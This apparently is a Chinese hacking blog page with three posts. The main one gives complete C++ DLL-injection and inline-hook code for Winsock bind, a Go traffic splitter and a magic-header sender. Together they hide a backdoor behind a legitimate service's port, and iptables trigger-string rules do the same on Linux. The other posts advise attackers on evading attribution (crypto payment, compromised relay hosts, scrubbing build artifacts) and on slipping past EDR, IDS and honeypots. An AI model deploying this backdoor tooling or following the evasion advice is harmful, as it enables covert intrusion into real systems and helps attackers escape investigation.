选好目标之后,接下来就是如何hook。使用注入的方式也不是不行,但是有一些程序会在启动时就bind函数,导致我们注入之后bind函数已经被调用导致hook失败。所以我们保留注入方式的同时还要想一种在软件启动时候就默认加载我们DLL的方式。

脑袋里念头第一个想到的就是IAT HOOK,同时linux下想到的是特殊的LD_PRELOAD函数。

很可惜我们不能动原始二进制文件,所以IAT HOOK不行,然后LD_PRELOAD在win下并没有那么方便的东西,所以我们只能找其他的注入方式

但是我们可以用CreateProcess启动目标进程之后,把我们的DLL写入目标,然后再使用。

懒得写了,直接参考这篇文章:windows 启动exe程序前注入dll(c++)

然后再找一个INLINE HOOK.我之前也有用到:实现32位和64位系统的Inline Hook API,虽然这里面代码还是需要一点小修改。把这个inline hook的代码添加到我们DLL中,并HOOK winsocks的bind函数

A.png

大体功能就完成了,可以看到我们原本监听的21端口被修改为了8000端口
B.png
然而这还是不够,现在我们是无条件把端口改成8000,实际上程序运用到这个功能的时候也许不只使用一次bind,甚至也许不是bind socket,而是监听管道等等,所以我们需要设置一套可变的规则来灵活应对实战时候的情况。

我们hook的逻辑是注入到对方程序中的,所以我们接下来就要想一个进程间通讯的法子。

怎么简单怎么来,我觉得直接用环境变量就行

// in myHook Dll start
Src_Port = atoi(getenv("srcport"));
Dst_Port = atoi(getenv("dstport"));
// in myHook Function
if (servaddr->sin_port == Src_Port) {
            servaddr->sin_port = htons(Dst_Port);
        }

简单粗暴,也懒得写什么CLI的文档了,直接让用户自己设置环境变量去.然后再整个参数传递和什么位数判断,就完事了.

大概代码如下
main.png

看看效果
hook.png
可以看到我们的目标已经成功修改了指定端口.接下来就是弄转发器辣
完整代码如下

// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#pragma warning (disable: 4996)
#include <iostream>

#include <stdarg.h>
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
#include<stdlib.h>
#include<io.h>
#include <tlhelp32.h>
#include <imagehlp.h>
#pragma comment(lib,"Psapi.lib")  //编译这个lib文件
#pragma comment(lib,"imagehlp.lib")  


int __stdcall getPeBit(const WCHAR* pwszFullPath)
{
    FILE* peFile = NULL;
    _wfopen_s(&peFile, pwszFullPath, L"rb");
    if (peFile == NULL)
    {
        fclose(peFile);
        return -1;
    }

    IMAGE_DOS_HEADER imageDosHeader;
    fread(&imageDosHeader, sizeof(IMAGE_DOS_HEADER), 1, peFile);
    if (imageDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        fclose(peFile);
        return -1;
    }

    IMAGE_NT_HEADERS imageNtHeaders;
    fseek(peFile, imageDosHeader.e_lfanew, SEEK_SET);
    fread(&imageNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, peFile);
    fclose(peFile);
    if (imageNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        return -1;
    }

    if (imageNtHeaders.FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
    {
        return 32;
    }
    if (imageNtHeaders.FileHeader.Machine == IMAGE_FILE_MACHINE_IA64 ||
        imageNtHeaders.FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
    {
        return 64;
    }

    return -1;
}
//软件启动前注入Dll
//param1:sDllPath:dll路径,run_path:执行文件路径
bool injectDll(char sDllPath[], TCHAR* pszCmdLine)
{
    //启动目标进程
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    //pi:创建线程返回的信息
    PROCESS_INFORMATION pi;
    
    BOOL bRet = CreateProcess(NULL, pszCmdLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    //获得进程入口
    HANDLE curProcessHandle = pi.hProcess; //获得当前进程的句柄
    // 创建虚拟内存地址,放置dll路径
    LPVOID pDllPath = VirtualAllocEx(curProcessHandle, NULL, strlen(sDllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(curProcessHandle, pDllPath, sDllPath, strlen(sDllPath) + 1, NULL);
    // 获取LoadLibraryA地址:用于注入dll;
    PTHREAD_START_ROUTINE pfnLoadLib = (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")), "LoadLibraryA");
    // 在线程中执行dll中的入口函数:即导入dll
    HANDLE hNewThread = CreateRemoteThread(curProcessHandle, NULL, 0, pfnLoadLib, pDllPath, 0, NULL);
    // TODO: 后续可以插入命令行操作
    WaitForSingleObject(hNewThread, INFINITE);
    VirtualFreeEx(curProcessHandle, pDllPath, 0, MEM_RELEASE);
    CloseHandle(hNewThread);
    CloseHandle(curProcessHandle);
    ResumeThread(pi.hThread);//继续
    return true;
}

int main(int argc, char* argv[])
{
    char pararmLine[MAX_PATH] = {0};
    TCHAR pszCmdLine[MAX_PATH] = {0};
    char* dllpath;
    if (argc < 2) {
        printf("Useage: %s target [param0] [param1] ...", argv[0]);
        return 1;
    }
    //重新构建启动参数
    for (int i = 1; i < argc; i++) {
        strcat(pararmLine,argv[i]);
        strcat(pararmLine, " ");
    }

    wchar_t* checkBie = new wchar_t[MAX_PATH];
    mbstowcs(checkBie, argv[1], strlen(argv[1])+1);
    if (access(argv[1], 0)) {
        printf("target %s not found\n", argv[1]);
        return 1;
    }
    // 判断位数选择注入DLL
    if (getPeBit(checkBie) == 32) {
        dllpath = (char*)"x86.dll";
    }
    else {
        dllpath = (char*)"x64.dll";
    }
    if (access(dllpath, 0)) {
        printf("not found inject %s\n", dllpath);
        return 1;
    }
    if (!getenv("srcport") || !getenv("dstport")) {
        printf("use set srcport=80 and set dstport=81 to forward port.");
        return 1;
    }
    int iLength = MultiByteToWideChar(CP_ACP, 0, pararmLine, strlen(pararmLine) + 1, NULL, 0);
    MultiByteToWideChar(CP_ACP, 0, pararmLine, strlen(pararmLine) + 1, pszCmdLine, iLength);
    
    injectDll(dllpath, pszCmdLine);
}

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#define _CRT_SECURE_NO_WARNINGS

#include<windows.h>
#include<winsock.h>
#include< stdlib.h >
#pragma comment(lib,"Ws2_32.lib") 

#pragma warning (disable: 4996)
struct APIHeader {
#ifdef _WIN64
    char buff[12];
#else
    char buff[5];
#endif
    int size;
};
APIHeader Bind_Header;
static int (WINAPI* OldBind)(SOCKET         s,
    const sockaddr* addr,
    int            namelen) = bind;
int Src_Port, Dst_Port;
BOOL UnhookApi(LPCSTR Moudle, LPCSTR Function, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    DWORD dwNewDataSize = 5;
#else
    DWORD dwNewDataSize = 12;
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 恢复数据
    RtlCopyMemory(OldFunction, api->buff, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
int WINAPI NewBind(SOCKET s,const sockaddr* addr,int namelen)
{
    UnhookApi("Ws2_32.dll", "bind", &Bind_Header);
    sockaddr_in * servaddr = (sockaddr_in*) addr;
    if (servaddr->sin_family == AF_INET ) {
        char test[MAX_PATH] = { 0 };
        
        if (servaddr->sin_port == htons(Src_Port)) {
            servaddr->sin_port = htons(Dst_Port);
        }
        
        
        return OldBind(s, (sockaddr*)servaddr, namelen);
    }
    else {
        return OldBind(s, addr, namelen);
    }
}
BOOL HookApi(LPCSTR Moudle, LPCSTR Function, LPVOID NewFunction, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    // 32位
    // 汇编代码:jmp _dwNewAddress
    // 机器码位:e9 _dwOffset(跳转偏移)
    //        addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
    //        addr2 --> 跳转地址的值,即_dwNewAddress的值
    //        跳转偏移 _dwOffset = addr2 - addr1
    BYTE pNewData[5] = { 0xe9, 0, 0, 0, 0 };
    DWORD dwNewDataSize = 5;
    DWORD dwOffset = 0;
    // 计算跳转偏移
    dwOffset = ((DWORD)NewFunction) -((DWORD)OldFunction + 5);


    RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));
#else
    // 64位
    // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788)
    //         jmp rax
    // 机器码是:
    //    48 b8 _dwNewAddress(0x1122334455667788)
    //    ff e0
    BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    DWORD dwNewDataSize = 12;
    api->size = dwNewDataSize;
    ULONGLONG ullNewFuncAddr = (ULONGLONG)NewFunction;
    RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 保存原始数据
    RtlCopyMemory(api->buff, OldFunction, dwNewDataSize);
    //printf("address:%llx\n", OldFunction);
    RtlCopyMemory(OldFunction, pNewData, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    
    
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Src_Port = atoi(getenv("srcport"));
        Dst_Port = atoi(getenv("dstport"));
        

        HookApi("Ws2_32.dll", "bind", &NewBind, &Bind_Header);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

转发器

为了高并发,以及简单开发,我决定直接上go比较好,直接监听个socket然后遇到特殊标签的数据就转发给木马,话不多说,直接上代码

package main
import (
    "flag"
    "fmt"
    "io"
    "net"
    "os"
)
var host = flag.String("host", "", "host")
var port = flag.String("port", "80", "Listening port before source program HOOK")
var port1 = flag.String("port1", "80", "Listening port after source program HOOK")
var port2 = flag.String("port2", "81", "Backdoor port")
var magic_header =[]byte{55,56,57,58,59}
func byteSliceEqual(a, b []byte) bool {
    if len(a) != len(b) {
        return false
    }

    if (a == nil) != (b == nil) {
        return false
    }

    for i, v := range a {
        if v != b[i] {
            return false
        }
    }

    return true
}
func main() {
    flag.Parse()
    var l net.Listener
    var err error
    l, err = net.Listen("tcp", *host+":"+*port)
    if err != nil {
        fmt.Println("Error listening:", err)
        os.Exit(1)
    }
    defer l.Close()
    for {
        conn, err := l.Accept()
        if err != nil {
            fmt.Println("Error accepting: ", err)
            os.Exit(1)
        }

        go handleRequest(conn)
    }
}
func handleRequest(conn net.Conn) {
    defer conn.Close()
    buffer := make([]byte, 5)
    _, err := conn.Read(buffer)
    if err != nil {  
            fmt.Println(conn.RemoteAddr().String(), " connection error: ", err)  
            return 
        }
    if byteSliceEqual(buffer,magic_header){// 判断魔术头
        //带有魔术头,转发到后门

        server := "127.0.0.1:"+*port2  
        tcpAddr, _ := net.ResolveTCPAddr("tcp4", server)
        conn2, err := net.DialTCP("tcp", nil, tcpAddr)
        defer conn2.Close()
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }
        for {

            io.Copy(conn, conn2)
            io.Copy(conn2, conn)
        }
    }else{
        //没有魔术头,就是个普通数据,交给源程序
        server := "127.0.0.1:"+*port1  
        tcpAddr, _ := net.ResolveTCPAddr("tcp4", server)
        conn1, err := net.DialTCP("tcp", nil, tcpAddr)
        defer conn1.Close()
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }
        for {

            go func(){io.Copy(conn, conn1)}
            io.Copy(conn1, conn)
        }
    }
    
}

之后就很简单了,我们再在发送端,套一个中间层,让我们发送的包都带上魔术包就行

发送端

// sender.go
package main  
  
import (  
    "fmt"  
    "net"  
    "os"  
)


var target = flag.String("target", "", "target such as x.x.x.x:1234")
var port = flag.String("port", "1234", "local listen port")
func main() {  
    flag.Parse()
        var l net.Listener
        var err error
        l, err = net.Listen("tcp", "127.0.0.1:"+*port)
        if err != nil {
            fmt.Println("Error listening:", err)
            os.Exit(1)
        }
        defer l.Close()
        for {
            conn, err := l.Accept()
            if err != nil {
                fmt.Println("Error accepting: ", err)
                os.Exit(1)
            }

            go handleRequest(conn)
        }
}  
func handleRequest(conn net.Conn) {
        defer conn.Close()
          
        tcpAddr, err := net.ResolveTCPAddr("tcp4", target)  
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }  
      
        conn2, err := net.DialTCP("tcp", nil, tcpAddr)  
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }
        fmt.Println("connect success")
        conn2.Write([]byte{55,56,57,58,59})
        go func(){
            io.Copy(conn, conn2)
        }
        io.Copy(conn2, conn)
            
}

基本使用流程就是

杀死原有服务 ---> 使用我们的注入器程序启动原有服务(cpp) ----> 启动数据分流服务(go) <====>
魔术头发送程序(sender.go) < ---- 我们想发送到后门的数据包

linux

一文打尽 Linux/Windows端口复用实战就知道,linux自带一个驱动层很好用的东西,就是iptables.

# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

使用这个可以很轻松的建立起一个端口复用链.

当然,你也可以自己写hook来hook原有的程序,与windows下不同的是,linux你可以不用注入操作,可以使用LD_PRELOAD这个环境便来来达到类似IAT HOOK的效果

可以查看我之前的这个文章:linux下的进程/文件隐藏,里面介绍的很详细.不过和进程隐藏不同,这次我们的filter不是隐藏进程而是端口分流,所以操作基本和上诉大同小异,把bind给hook然后做个修改,然后用上面两个go写的分流和sender就行啦,因为是golang写的所以甚至可以直接拿过来用代码都不用改的

结语

至此,我们R3层的端口复用就完成了,没什么技术含量我也不知道为啥这么一个简单的东西搞的和什么似的要写这么详细.就当我水一篇文章吧.好久没写文章了

Tags: 端口, 复用

总结下日站过程中没用的反溯源小经验 - 长期更新

开头

看了一些溯源文章,越看越害怕,越看越心惊。还好之前都没干什么坏事,不然按照我之前那水平肯定一下子就GG。

所以现在开始总结一些没啥用的反溯源小经验。

内容长期更新,不定期补充,欢迎大家留言。

顺带:这篇文章并不是让你隐藏对jc菽粟的追查,俺也不是啥境外势力。

目的只是为了在授权的红蓝对抗中对于蓝方的一些反溯源的没用技术。

收到删除请求将立刻删除此文章。

说在前头 - 最好的交易手法

最好的交易手法是使用矿机挖出虚拟货币然后寻找可以虚拟货币交易的运营商进行交易。

基础设施

域名

尽量使用免费域名,或者套用免费CDN

推荐个免费域名网站:我忘了

服务器

典型的支持btc交易的服务器商: https://app.bitlaunch.io/login

跳板机

尽量使用公共机场,免费机场,你日下来的小鸡以及支持BTC支付的机场商家。

同时你日下来的小鸡使用的协议尽量用于中转协议以及不要留下过多痕迹,否则也有被蓝队日下来然后部署嗅探器的风险。

使用的是vultr以及其他家的机器。

同时,不要过分相信自己的运营商,也不好相信小域名商。

运营商也有被日的风险!
运营商也有被日的风险!
运营商也有被日的风险!

同时无关于运营商,你在服务器上使用的软件也许也是有后门/漏洞的。或者是红队人员对于windows/linux机器了解不足导致配置错误被黑。

所以不要过分相信自己的服务器。

个人

路径与用户名

其中,比较明显的就是windows当前登录的用户名,不要用你的昵称或者网络id作为用户名,否则会发生以下情况

  • 一不小心使用kali自带ssh不带任何用户去连接目标服务器时,哪怕你立刻ctrl+c,对方的btmp中也会留下记录
  • 编译golang/c++等程序时候,如果没注意关闭调试信息,pdb会直接暴露你的路径信息,其中也许就包含你的网络id

密码

同理,不要在目标服务器留后门或者webshell时候,留下与你相关的密码字段,尽量无所谓或者随机生成,有时候哪怕你的密码和你的id无关,但是和通用密码一样,通用的后门密码/用户名也能把多起攻击行为关联成同一场攻击行动

文件编译时间

编译时间虽然不能代表什么,但是如果量足够多的话,还是能大致根据编译时间分析出时区,乃至作息时间。这也许无关紧要,但是 要知道千里之堤,溃于蚁穴。不只是红队在一步步打点,对于蓝队以及溯源专家来说挖掘信息也是靠着一点点收集的。

工具的使用

不同地区的黑阔爱用的工具不同,最典型的比如咱们大名鼎鼎的“中国菜刀”。尽量使用国际化或者开源工具。不要自己写,更不要自己写完丢github然后自己使用,除非你能确保你的工具使用的人数够多。实在不行你可以考虑编译成一份release然后丢到github。

黑白账户的关联

不要在本地机器上登录哪怕任何关于你的白身份信息。无处不在的web探针,jsonp蜜罐(特别是*SDN),有时候哪怕你更换浏览器,或者代理。下到窗口大小上至区级路由都有关联你两个身份信息的可能。

跳板机的使用

ss/v2这类先不说,轻便,快速,好用,缺点是使用s5,容易漏包。当你用这些代理访问的时候如果proxifer或者本地PAC突然爆炸以及一些奇怪的bug,可能泄露你真实IP信息等。

尽量使用全局+多层代理s5代理,速度是其次重点是安全。

字体以及语法以及一些其他的小习惯

钓鱼以及其他时候,不经意间使用了特殊的字体,比如哪怕你操着一股毛子语去钓鱼,但是人家一看你tmd用的字体是宋体。
或者说是你程序通篇韩语编译时间也是韩语,结果来了个易语言的报错傻子都知道你是谁.jpg

以及一些奇怪的拼写错误作为习惯出现,甚至哪怕你特别喜欢某种技术实现方式。比如特别喜欢b64+两层凯撒,甚至你b64替换表但是表每次都是相同的,这些蛛丝马迹都是别人关联到你的基础

不要在本机操作,但是也不要过度信任你的虚拟机

不多说,一台/多台虚拟机是你必备的选择。但是也不要过度信任自己的虚拟机。不要想着是在虚拟机中就可以随便下载文件。
大部分人甚至懒得修虚拟机windows的洞(没错我也是这样子的),也许目标能快速在你的虚拟机中漫游。
假设你踩了蜜罐,甚至中了C2木马,溯源者可以快速根据上面的信息快速在你的本地磁盘中搜索蛛丝马迹。
参考我之前做的那些CTF,我自己都tmd不知道windows原来还有这功能(指记录用户输入)。
更别说虚拟机逃逸这些高端功能。

不要用同一个环境日同一个目标太久

对于蓝队来说,最好的方式就是粘住攻击者,攻击者对于目标网络留的越久,泄露的信息也就越多。对于红队攻击人员来说也就越不利。

其他的暂时没想到,想到了再写

Tags: 溯源, 匿名

总结下内网应对edr和蜜罐或者ids的没用小经验

总结

不要爆破!不要爆破!不要爆破!

不要顺序扫描!不要顺序扫描!不要顺序扫描!

尽量不要跨段操作!不要跨段操作!不要跨段操作!

接下来就全看听天由命了。

原因

爆破必死,不用多说。

在不知道edr或者蜜罐地址的时候,尽量单端口扫描,选择奇数偶数混合段的IP顺序扫描,不要对着一个目标顺序1-65535。

不要随意跨网段扫描,因为有些IDS会审查网关流量。

以上就是目前在遇到的情况,当然因为我日的少,肯定还有很多设备没涵盖到,或者是有些特别nb的设备以上几个方法都能审查到,那就没什么办法了。其他的遇到了解决方案的话再写吧。

Tags: 内网, 流量对抗
文章总数:200篇 分类总数:4个